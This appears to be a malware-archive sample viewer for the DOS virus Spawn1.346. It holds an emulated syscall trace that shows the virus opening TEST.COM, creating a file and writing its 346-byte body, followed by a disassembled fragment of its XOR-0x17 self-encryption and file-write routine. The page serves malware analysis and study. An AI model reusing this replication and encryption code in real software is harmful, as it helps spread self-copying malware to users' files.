Sample viewer

vx.netlux.org/Virus.DOS.Spawn1.346

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GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:00:11.014602673Z 74 PC: 12a57 | Reallocate memory
2018-12-17T23:00:11.019894203Z 75 PC: 12a64 | Execute program
2018-12-17T23:00:11.026260642Z 78 PC: 12a79 | Find first file
2018-12-17T23:00:11.032623069Z 47 PC: 12a7f | Get disk transfer address
2018-12-17T23:00:11.034234312Z 47 PC: 12a95 | Get disk transfer address
2018-12-17T23:00:11.035878819Z 61 PC: 12ab4 | Open file (Filename = 'TEST.COM')
2018-12-17T23:00:11.047263595Z 60 PC: 12ac5 | Create or truncate file
2018-12-17T23:00:11.066080195Z 44 PC: 12b6c | Get time 0x12b6c: or dh, dh
0x12b6e: je 0x12b68
0x12b70: mov byte ptr [0x255], dh
0x12b74: call 0x12b8d
0x12b77: mov ah, 0x40
0x12b79: mov cx, 0x15a
0x12b7c: mov dx, 0x100
0x12b7f: call 0x12b86
0x12b82: call 0x12b8d
0x12b85: ret
0x12b86: mov bx, word ptr [0x25a]
0x12b8a: int 0x21
0x12b8c: ret
0x12b8d: mov di, 0x105
0x12b90: mov cx, 0x123
0x12b93: xor byte ptr [di], 0x17
0x12b96: inc di
0x12b97: loop 0x12b93
0x12b99: ret
0x12b9a: add ax, 0xb400
2018-12-17T23:00:11.068555171Z 64 PC: 12b8c | Write file or device (Write 346 bytes on handle 5)
2018-12-17T23:00:11.072571553Z 62 PC: 12b8c | Close file
2018-12-17T23:00:11.080426301Z 76 PC: 12a6f | Terminate with return code (Return code = '2')